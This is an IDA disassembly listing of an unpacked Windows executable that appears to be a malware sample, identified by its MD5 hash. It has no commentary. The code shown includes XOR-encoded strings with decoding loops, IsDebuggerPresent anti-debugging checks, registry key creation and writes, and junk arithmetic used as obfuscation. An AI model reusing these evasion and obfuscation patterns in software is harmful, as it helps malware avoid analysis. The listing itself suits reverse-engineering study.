;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	8D871FEB5DF049AB799CB50C7C8998C7

; File Name   :	u:\work\8d871feb5df049ab799cb50c7c8998c7_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_text		segment	para public 'DATA' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; DATA XREF: sub_401020+Ao
					; sub_43DFD9+Ao

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		xor	eax, eax
		inc	eax
		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		jz	short locret_40101F
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_40101F:				; CODE XREF: sub_401000+Ej
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401020	proc near		; CODE XREF: sub_40109A+BEp
					; sub_40109A+ECp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_401000
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40103D:				; CODE XREF: sub_401020+44j
					; sub_401020+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40106C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40106C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40103D
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_40103D
; ---------------------------------------------------------------------------


loc_40106C:				; CODE XREF: sub_401020+2Aj
					; sub_401020+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401020	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40107A	proc near		; CODE XREF: sub_40109A+B1p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_401092
		push	[ebp+arg_0]
		call	sub_40C314	; RtlUnwind
sub_40107A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401092	proc near		; DATA XREF: sub_40107A+Bo
					; sub_43E033+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401092	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40109A	proc near		; DATA XREF: sub_401219+10o
					; sub_407F91+Ao ...

var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	dword_43B08C, eax
		mov	dword_43B090, ebx
		test	dword ptr [eax+4], 6
		jnz	loc_40117F
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	dword_43B090, eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4010DD:				; CODE XREF: sub_40109A+DCj
		cmp	esi, 0FFFFFFFFh
		jz	loc_40118E
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_40116D
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_43B030, eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx]
		mov	dword_43B034, eax
		mov	eax, [edx+4]
		mov	dword_43B038, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, dword_43B03C
		mov	esi, dword_43B034
		rep movsd
		lea	edi, dword_43B03C
		mov	dword_43B034, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_40116D
		js	short loc_40117B
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40107A
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_401020
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_40116D:				; CODE XREF: sub_40109A+54j
					; sub_40109A+A9j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_4010DD
; ---------------------------------------------------------------------------


loc_40117B:				; CODE XREF: sub_40109A+ABj
		xor	eax, eax
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------


loc_40117F:				; CODE XREF: sub_40109A+23j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_401020
		add	esp, 0Ch


loc_40118E:				; CODE XREF: sub_40109A+46j
		push	0
		mov	dword_43B010, 0Bh
		push	0Bh
		call	sub_40C6A4
		add	esp, 8
		or	eax, eax
		jnz	short loc_4011C9
		push	0
		mov	dword_43B010, 8
		push	8
		call	sub_40C6A4
		add	esp, 8
		or	eax, eax
		jnz	short loc_4011C9
		mov	eax, 1
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------


loc_4011C9:				; CODE XREF: sub_40109A+10Cj
					; sub_40109A+126j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4011F8
		push	eax
		push	dword_43B010
		call	sub_40C6A4
		add	esp, 8
		push	dword_43B010
		call	sub_40C68C
		add	esp, 4
		mov	eax, 1


loc_4011F0:				; CODE XREF: sub_40109A+E3j
					; sub_40109A+12Dj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4011F8:				; CODE XREF: sub_40109A+132j
		cmp	dword_43B02C, 0
		jnz	short loc_401208
		mov	eax, 1
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------


loc_401208:				; CODE XREF: sub_40109A+165j
		mov	eax, dword_43B02C
		push	0Bh
		jmp	eax
sub_40109A	endp

; ---------------------------------------------------------------------------
		pop	eax
		mov	eax, 1
		jmp	short loc_4011F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401219	proc near		; CODE XREF: start+500j
					; DATA XREF: start:loc_4494FCo

var_30		= word ptr -30h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43B01C
		push	offset sub_40109A
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	eax
		fnstcw	[esp+30h+var_30]
		or	[esp+30h+var_30], 300h
		fldcw	[esp+30h+var_30]
		add	esp, 4
		push	0
		push	0
		push	offset dword_43B028
		push	offset dword_43B024
		push	offset dword_43B020
		call	sub_40C62C
		push	dword_43B028
		push	dword_43B024
		push	dword_43B020
		mov	dword_43B014, esp
		call	sub_40C0B4
		add	esp, 18h
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		push	eax
		call	sub_40C65C
		leave
		retn
sub_401219	endp

; ---------------------------------------------------------------------------
		mov	large fs:0, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40129C	proc near		; CODE XREF: sub_408C98+25p
					; sub_408C98+41p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43B09C
		lea	eax, ds:41A6C0h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4012DD
; ---------------------------------------------------------------------------


loc_4012C3:				; CODE XREF: sub_40129C+43j
		mov	eax, dword_43B09C
		add	eax, edi
		lea	eax, ds:41A6C0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0F0h
		mov	[eax], dl
		inc	edi


loc_4012DD:				; CODE XREF: sub_40129C+25j
		cmp	edi, esi
		jl	short loc_4012C3
		mov	[ebp+var_4], 1DDh
		mov	eax, dword_43B09C
		add	eax, esi
		mov	byte ptr ds:dword_41A6C0[eax], 0
		mov	edi, dword_43B09C
		add	dword_43B09C, 3
		mov	eax, dword_43B09C
		add	eax, 2
		add	eax, esi
		mov	dword_43B09C, eax
		add	dword_43B09C, 2
		cmp	dword_43B09C, 0DE5h
		jle	short loc_40132D
		and	dword_43B09C, 0


loc_40132D:				; CODE XREF: sub_40129C+88j
		mov	[ebp+var_8], 3D0h
		lea	eax, dword_41A6C0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40129C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40133E	proc near		; CODE XREF: sub_4081B0+11Ep

var_14C18	= dword	ptr -14C18h
var_14C14	= dword	ptr -14C14h
var_14C0D	= byte ptr -14C0Dh
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 14C18h
		call	sub_40C118
		push	ebx
		push	esi
		push	edi
		call	sub_40C2B4	; IsDebuggerPresent
		mov	eax, dword_43B222
		mov	[ebp+var_14C18], eax
		mov	[ebp+var_4], 2B7Ah
		inc	[ebp+var_4]
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_40F1F0
		call	sub_40C2FC	; CreateFileA
		mov	ebx, eax
		call	sub_40C1F4	; GetProcessHeap
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_401391
		xor	eax, eax
		jmp	short loc_401406
; ---------------------------------------------------------------------------


loc_401391:				; CODE XREF: sub_40133E+4Dj
		mov	[ebp+var_5], 0B0h
		add	[ebp+var_5], 1
		push	0
		lea	eax, [ebp+var_14C14]
		push	eax
		push	14C08h
		lea	eax, [ebp+var_14C0D]
		push	eax
		push	ebx
		call	sub_40C308	; ReadFile
		call	sub_40C188	; GetCurrentProcessId
		push	ebx
		call	sub_40C1DC	; CloseHandle
		xor	edi, edi


loc_4013C1:				; CODE XREF: sub_40133E+B9j
		mov	eax, 13h
		sub	eax, dword_43B098
		push	eax
		push	offset byte_432F80
		lea	eax, [ebp+edi+var_14C0D]
		push	eax
		call	sub_40181E
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_4013EE
		xor	eax, eax
		inc	eax
		jmp	short loc_401406
; ---------------------------------------------------------------------------


loc_4013EE:				; CODE XREF: sub_40133E+A9j
		add	edi, 11h
		cmp	edi, [ebp+var_14C14]
		jb	short loc_4013C1
		mov	esi, 4B23h
		mov	eax, esi
		add	eax, esi
		mov	esi, eax
		xor	eax, eax


loc_401406:				; CODE XREF: sub_40133E+51j
					; sub_40133E+AEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40133E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B234
		lea	eax, ds:419580h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_401449
; ---------------------------------------------------------------------------


loc_401432:				; CODE XREF: .text:0040144Bj
		mov	eax, dword_43B234
		add	eax, edi
		lea	eax, ds:419580h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 2Bh
		mov	[eax], dl
		inc	edi


loc_401449:				; CODE XREF: .text:00401430j
		cmp	edi, esi
		jl	short loc_401432
		mov	dword ptr [ebp-4], 15Ch
		mov	eax, dword_43B234
		add	eax, esi
		mov	byte ptr ds:dword_419580[eax], 0
		xor	edi, edi
		mov	edi, dword_43B234
		inc	dword_43B234
		mov	eax, dword_43B234
		lea	eax, [eax+esi+6]
		mov	dword_43B234, eax
		add	dword_43B234, 2
		cmp	dword_43B234, 0DCBh
		jle	short loc_401499
		and	dword_43B234, 0


loc_401499:				; CODE XREF: .text:00401490j
		mov	dword ptr [ebp-8], 30h
		lea	eax, dword_419580[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014AA	proc near		; CODE XREF: sub_4063A9+B5p
					; sub_4096E4+1D5p ...

var_9		= byte ptr -9
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C188	; GetCurrentProcessId
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C5B4	; RegOpenKeyExA
		mov	ebx, eax
		call	sub_40C188	; GetCurrentProcessId
		or	ebx, ebx
		jz	short loc_4014DD
		xor	eax, eax
		jmp	short loc_40152E
; ---------------------------------------------------------------------------


loc_4014DD:				; CODE XREF: sub_4014AA+2Dj
		call	sub_40C1F4	; GetProcessHeap
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_40C5C0	; RegQueryValueExA
		mov	ebx, eax
		mov	[ebp+var_6], 492Fh
		sub	[ebp+var_6], 1614h
		push	[ebp+var_4]
		call	sub_40C5A8	; RegCloseKey
		call	sub_40C188	; GetCurrentProcessId
		or	ebx, ebx
		jz	short loc_40151B
		xor	eax, eax
		jmp	short loc_40152E
; ---------------------------------------------------------------------------


loc_40151B:				; CODE XREF: sub_4014AA+6Bj
		lea	edi, [ebp+var_9]
		lea	esi, dword_43B238
		mov	ecx, 3
		rep movsb
		xor	eax, eax
		inc	eax


loc_40152E:				; CODE XREF: sub_4014AA+31j
					; sub_4014AA+6Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4014AA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B244
		lea	eax, ds:434150h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 11Eh
		xor	edi, edi
		jmp	short loc_401577
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_401565


loc_401560:				; CODE XREF: sub_401565+14j
		mov	eax, dword_43B244
; END OF FUNCTION CHUNK	FOR sub_401565

; =============== S U B	R O U T	I N E =======================================



sub_401565	proc near		; DATA XREF: .data:0043F0EDo

; FUNCTION CHUNK AT 00401560 SIZE 00000005 BYTES

		add	eax, edi
		lea	eax, ds:434150h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 66h
		mov	[eax], dl
		inc	edi


loc_401577:				; CODE XREF: .text:0040155Ej
		cmp	edi, esi
		jl	short loc_401560
		mov	eax, dword_43B244
		add	eax, esi
		mov	byte ptr ds:dword_434150[eax], 0
		mov	edi, dword_43B244
		mov	eax, edi
		add	eax, 4
		add	eax, esi
		mov	dword_43B244, eax
		add	dword_43B244, 3
		cmp	dword_43B244, 0DEFh
		jle	short loc_4015B6
		and	dword_43B244, 0


loc_4015B6:				; CODE XREF: sub_401565+48j
		lea	eax, dword_434150[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_401565	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015C0	proc near		; CODE XREF: sub_406081+B2p
					; sub_406081+E0p ...

var_25		= byte ptr -25h
var_1F		= byte ptr -1Fh
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_2], 2123h
		inc	[ebp+var_2]
		lea	edi, [ebp+var_18]
		lea	esi, aVyfuC	; "+vyfu C"
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C59C	; RegCreateKeyExA
		mov	ebx, eax
		mov	[ebp+var_C], 2D0Fh
		add	[ebp+var_C], 6A82h
		or	ebx, ebx
		jz	short loc_401616
		xor	eax, eax
		jmp	short loc_40167F
; ---------------------------------------------------------------------------


loc_401616:				; CODE XREF: sub_4015C0+50j
		lea	edi, [ebp+var_1F]
		lea	esi, aPzlvp4	; "PzL‚P4"
		mov	ecx, 7
		rep movsb
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_8]
		call	sub_40C5CC	; RegSetValueExA
		mov	ebx, eax
		call	sub_40C224	; GetVersion
		push	[ebp+var_8]
		call	sub_40C5A8	; RegCloseKey
		or	ebx, ebx
		jz	short loc_401653
		xor	eax, eax
		jmp	short loc_40167F
; ---------------------------------------------------------------------------


loc_401653:				; CODE XREF: sub_4015C0+8Dj
		lea	edi, [ebp+var_25]
		lea	esi, a7cx	; "#7CX|"
		mov	ecx, 3
		rep movsw
		cmp	[ebp+var_10], 1
		jnz	short loc_401671
		mov	eax, 2
		jmp	short loc_40167F
; ---------------------------------------------------------------------------


loc_401671:				; CODE XREF: sub_4015C0+A8j
		mov	ebx, 7FF8h
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		xor	eax, eax
		inc	eax


loc_40167F:				; CODE XREF: sub_4015C0+54j
					; sub_4015C0+91j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4015C0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 3E1h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B268
		lea	eax, ds:437330h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 3C1h
		xor	edi, edi
		jmp	short loc_4016D4
; ---------------------------------------------------------------------------


loc_4016BA:				; CODE XREF: .text:004016D6j
		mov	eax, dword_43B268
		add	eax, edi
		lea	eax, ds:437330h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 89h
		mov	[eax], dl
		inc	edi


loc_4016D4:				; CODE XREF: .text:004016B8j
		cmp	edi, esi
		jl	short loc_4016BA
		mov	eax, dword_43B268
		add	eax, esi
		mov	byte ptr ds:dword_437330[eax], 0
		xor	edi, edi
		mov	edi, dword_43B268
		mov	eax, edi
		lea	eax, [eax+esi+5]
		mov	dword_43B268, eax
		cmp	eax, 0DE8h
		jle	short loc_401708
		and	dword_43B268, 0


loc_401708:				; CODE XREF: .text:004016FFj
		mov	dword ptr [ebp-0Ch], 270h
		lea	eax, dword_437330[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401719	proc near		; CODE XREF: sub_4056EE+141p
					; sub_4096E4+8Bp ...

var_6		= byte ptr -6
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	sub_40C2B4	; IsDebuggerPresent
		mov	[ebp+var_1], 91h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		xor	ebx, ebx
		jmp	short loc_401763
; ---------------------------------------------------------------------------


loc_40173B:				; CODE XREF: sub_401719+4Dj
		call	sub_40C698
		mov	edi, [ebp+arg_0]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[edi+ebx], dl
		inc	ebx


loc_401763:				; CODE XREF: sub_401719+20j
		cmp	ebx, [ebp+arg_4]
		jl	short loc_40173B
		lea	edi, [ebp+var_6]
		lea	esi, aXd9	; " xd9"
		mov	ecx, 5
		rep movsb
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	byte ptr [edx+eax], 0
		mov	eax, edx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401719	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 18h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B27C
		lea	eax, ds:42EBF0h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4017D1
; ---------------------------------------------------------------------------


loc_4017B7:				; CODE XREF: .text:004017D3j
		mov	eax, dword_43B27C
		add	eax, edi
		lea	eax, ds:42EBF0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0C6h
		mov	[eax], dl
		inc	edi


loc_4017D1:				; CODE XREF: .text:004017B5j
		cmp	edi, esi
		jl	short loc_4017B7
		mov	dword ptr [ebp-8], 26Fh
		mov	eax, dword_43B27C
		add	eax, esi
		mov	byte ptr ds:dword_42EBF0[eax], 0
		mov	edi, dword_43B27C
		inc	dword_43B27C
		mov	eax, dword_43B27C
		add	eax, 5
		add	eax, esi
		mov	dword_43B27C, eax
		cmp	eax, 0E0Dh
		jle	short loc_401814
		and	dword_43B27C, 0


loc_401814:				; CODE XREF: .text:0040180Bj
		lea	eax, dword_42EBF0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40181E	proc near		; CODE XREF: sub_40133E+9Cp
					; sub_405409+68p ...

var_24		= dword	ptr -24h
var_1F		= byte ptr -1Fh
var_1C		= dword	ptr -1Ch
var_15		= byte ptr -15h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	ebx, 70E3h
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		and	[ebp+var_C], 0
		lea	edi, [ebp+var_11]
		lea	esi, a8l7	; "8l 7"
		mov	ecx, 5
		rep movsb
		and	[ebp+var_8], 0
		jmp	loc_401903
; ---------------------------------------------------------------------------


loc_40184F:				; CODE XREF: sub_40181E+F7j
		call	sub_40C218	; GetTickCount
		and	[ebp+var_4], 0
		call	sub_40C1F4	; GetProcessHeap
		xor	ebx, ebx
		jmp	loc_4018E9
; ---------------------------------------------------------------------------


loc_401864:				; CODE XREF: sub_40181E+DCj
		lea	edi, [ebp+var_15]
		lea	esi, aYb	; "Y"
		mov	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		add	eax, ebx
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+ebx]
		cmp	eax, edx
		jnz	short loc_40188E
		inc	[ebp+var_4]


loc_40188E:				; CODE XREF: sub_40181E+6Bj
		mov	[ebp+var_12], 0AFh
		movzx	eax, [ebp+var_12]
		imul	eax, 28D8h
		mov	[ebp+var_12], al
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_4018A7:				; CODE XREF: sub_40181E+8Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4018A7
		cmp	[ebp+var_4], eax
		jnz	short loc_4018E8
		lea	edi, [ebp+var_1F]
		lea	esi, aM7	; "m7"
		mov	ecx, 3
		rep movsb
		inc	[ebp+var_C]
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_C], eax
		jnz	short loc_4018D3
		mov	eax, [ebp+var_8]
		jmp	short loc_401920
; ---------------------------------------------------------------------------


loc_4018D3:				; CODE XREF: sub_40181E+AEj
		mov	[ebp+var_1C], 7382h
		mov	eax, 56E9h
		mul	[ebp+var_1C]
		mov	[ebp+var_24], eax
		mov	[ebp+var_1C], eax


loc_4018E8:				; CODE XREF: sub_40181E+93j
		inc	ebx


loc_4018E9:				; CODE XREF: sub_40181E+41j
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_4018F1:				; CODE XREF: sub_40181E+D8j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4018F1
		cmp	ebx, eax
		jb	loc_401864
		inc	[ebp+var_8]


loc_401903:				; CODE XREF: sub_40181E+2Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_40190B:				; CODE XREF: sub_40181E+F2j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40190B
		cmp	[ebp+var_8], eax
		jb	loc_40184F
		mov	eax, 0FFFFh


loc_401920:				; CODE XREF: sub_40181E+B3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40181E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 3E1h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43B294
		lea	eax, ds:4152B0h[eax]
		push	eax
		call	sub_40C674
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 3C1h
		xor	edi, edi
		jmp	short loc_401975
; ---------------------------------------------------------------------------


loc_40195B:				; CODE XREF: .text:00401977j
		mov	eax, dword_43B294
		add	eax, edi
		lea	eax, ds:4152B0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 89h
		mov	[eax], dl
		inc	edi


loc_401975:				; CODE XREF: .text:00401959j
		cmp	edi, esi
		jl	short loc_40195B
		mov	eax, dword_43B294
		add	eax, esi
		mov	byte ptr ds:dword_4152B0[eax], 0
		xor	edi, edi
		mov	edi, dword_43B294
		mov	eax, edi
		lea	eax, [eax+esi+5]
		mov	dword_43B294, eax
		cmp	eax, 0DE8h
		jle	short loc_4019A9
		and	dword_43B294, 0


loc_4019A9:				; CODE XREF: .text:004019A0j
		mov	dword ptr [ebp-0Ch], 270h
		lea	eax, dword_4152B0[edi]
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	sub_40C2B4	; IsDebuggerPresent
		mov	byte ptr [ebp-1], 91h
		movzx	eax, byte ptr [ebp-1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-1], al
		mov	ebx, [ebp+10h]
		jmp	short loc_4019FA
; ---------------------------------------------------------------------------


loc_4019DD:				; CODE XREF: .text:004019FDj
		mov	eax, [ebp+8]
		movsx	eax, byte ptr [eax+ebx]
		mov	edx, ebx
		sub	edx, [ebp+10h]
		mov	ecx, [ebp+0Ch]
		movsx	edx, byte ptr [ecx+edx]
		cmp	eax, edx
		jz	short loc_4019F9
		xor	eax, eax
		inc	eax
		jmp	short loc_401A11
; ---------------------------------------------------------------------------


loc_4019F9:				; CODE XREF: .text:004019F2j
		inc	ebx


